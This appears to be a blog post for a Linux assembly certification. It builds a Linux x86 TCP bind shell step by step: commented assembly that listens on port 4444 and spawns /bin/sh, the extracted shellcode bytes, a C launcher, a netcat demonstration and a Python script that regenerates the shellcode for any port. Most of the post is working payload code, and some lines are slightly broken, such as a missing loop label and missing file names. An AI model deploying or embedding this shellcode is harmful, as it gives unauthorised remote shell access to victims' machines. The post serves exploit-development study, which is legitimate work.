Linux/x86 TCP Bind Shell Shellcode

Hi All! In this post, we will see how to implement a TCP bind shell in assembly program .

Objective :

1.create a TCP bind shell shellcode which binds to a port and execs shell on incoming connection.

2. port number should be easily configurable.

So what actually is a bind shell?

bind shell is a type of shell , which opens up a remote port on a victim machine , listens for incoming connection, Once received , it  forwards standard output , standard input and standard error to the received socket and finally forks a command shell.

So to implement our bind TCP shell, we can split the operations as follows :

  1. create a socket .
  2. bind the socket to its desired attributes.
  3. listen for incoming connections.
  4. accept the connection.
  5. redirect standard input,output and error to client socket.
  6. call execve to spawn a simple shell

All credits to this awesome c reference for bind tcp shell :

So before looking at the implementation, few important locations to look at and its purpose.

  1. To look at the different syscall numbers associated with syscalls, we can refer this header in location : /usr/include/i386-linux-gnu/asm/unistd_32.h
  2. To look at few other things related to network handling part ( codes for bind , accept, socket )  can be found at : /usr/include/linux/net.h
  3. To look at socket handling part : /usr/include/i386-linux-gnu/bits/socket.h

calling system calls from  assembly program:

we can call different system calls from assembly program by calling an 0x80 interrupt . It expects the following contents in general purpose registers before the call.

eax – syscall number

ebx- first argument

ecx-second argument

edx – third argument

and so on.. and finally interrupt can be called using instruction

int 0x80

socket creation , binding and other operations can done with the help of socketcall syscall.

from its man page :

 int socketcall(int call, unsigned long *args);

socketcall syscall number : 0x66(  102 in decimal )( from unistd_32.h)

This is pushed on to eax register before interrupt .

ebx contains call number which specifies the socket task at hand(create , bind ,accept , listen etc) which can be found at : net.h

finally ecx should contain the actual arguments for the  call function.

For creation of socket , we need to make use of SYS_SOCKET . For binding socket , SYS_BIND . For listening to incoming connections : SYS_LISTEN .For accepting connections SYS_ACCEPT . ( all call numbers can be found at net.h)

To redirect standard input , output and standard error to incoming connection , we can make use of dup2 syscall

dup2(clientsock, [ 0 | 1 | 2 ] )

syscall number : 0x3f( from unistd_32.h)

so we need to call dup2 thrice to redirect standard input, output and error to client socket once connection is accepted.

And finally we make use of execve syscall to spawn a shell.

int execve(const char *filename, char *const argv[],
char *const envp[]);

syscall number : 0xb( from unistd_32.h)

complete assembly code for the bind tcp shellcode ( listening on port 4444) with relevant comments :

global _start
section .text
	xor edx,edx ; clear out edx
	; create socket
	push 0x66
	pop eax ; syscall for socketcall

	push 0x1 
	pop ebx ; SOCKETCALL from net.h = 1

	push edx ; push 0
	push ebx ; value of SOCK_STREAM = 1 got it from header /usr/src
	push 0x2 ; value 2 from /usr/include/i386-linux-gnu/bits/socket.h
	mov ecx,esp ; move ecx to top of the stack
	int 0x80 ; call interrupt

	; store returning socket in esi for further use
	mov esi,eax

	; bind
	mov al, 0x66	; socketcall (102)
	pop ebx		; SYS_BIND (2)
	push edx	; INADDRY_ANY (0)
	push word 0x5c11	; htons 4444
	push bx		; AF_INET=PF_INET (2)
	mov edi, esp	; store struct address in edi
	push 0x10	; size = 16
	push edi	; address of struct is pushed onto stack
	push esi	; socketfd
	mov ecx, esp	; point ecx to top of stack 
	int 0x80		; call interrupt
	; listen
	push 0x66
	pop eax ; syscall for socketcall
	xor ebx,ebx
	mov bl,0x4 ; SYS_LISTEN = 4
	push edx
	push esi
	mov ecx,esp ; finally pointer to arugments stored in ecx
	int 0x80

	; accept

	push 0x66
	pop eax ; syscall for socketcall
	inc ebx ; SYS_ACCEPT = 5
	push edx
	push edx
	push esi
	mov ecx,esp ; finally pointer to arugments stored in ecx
	int 0x80


	; redirect standard input , output , error to client sock

	mov ebx,eax ; store returned client socket in ebx. ( client sock in ebx )
	xor ecx,ecx
	mov cl,0x2 ; initialize counter to 2

		mov al, 0x3f
		int 0x80
		dec ecx
		jns redirectIO
	; execve /bin/sh

	push edx
	push 0x68732f2f
	push 0x6e69622f
	mov ebx, esp		; /bin//sh
	mov ecx, edx	; NULL
	mov al, 0xb	 ; syscall for execve
	int 0x80

Lets compile and generate shellcode from the binary :


slae@ubuntu:~/Desktop/SLAE/assignments/assignment1$ ./ btcp
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
slae@ubuntu:~/Desktop/SLAE/assignments/assignment1$ objdump -d ./btcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

Finally , we update our template C program :


unsigned char code[] ="\x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x52\x66\x68\x11\x5c\x66\x53\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x6a\x66\x58\x31\xdb\xb3\x04\x52\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80";
	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;



So lets compile and execute :

$ ./shellcode

on new terminal lets connect :

slae@ubuntu:~$ netcat -nv 4444
Connection to 4444 port [tcp/*] succeeded!


We get our bind shell!

So for now , we have hardcoded our bind port. we need to make it configurable for custom port. For that, we can write a simple python script to accept a custom port and generate final shellcode :

#!/usr/bin/env python3
import sys
import struct
from sys import argv

port = int(argv[1])
print(" Warning : for port num < 1024 please exec as root")

if port > 65535 :
    print("port > 65535 please provide another port")

port = struct.pack("!H", port)
port = ("{}".format(''.join('\x{:02x}'.format(b) for b in port)))

if "\x00" in port:
    print(" warning : NULL  byte detected! choose different port and rerun")

finalshellcode = """\x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x52\x66\x68%s\x66\x53\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x6a\x66\x58\x31\xdb\xb3\x04\x52\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80""" % (port)

print("shellcode : ",finalshellcode)
./ 4445
 Warning : for port num < 1024 please exec as root
shellcode :  \x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x52\x66\x68\x11\x5d\x66\x53\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x6a\x66\x58\x31\xdb\xb3\x04\x52\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80

This shellcode has to be replaced with original one from template program and finally run to get it working .

link to github repo for the code :

This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.



SLAE student ID :  SLAE – 1367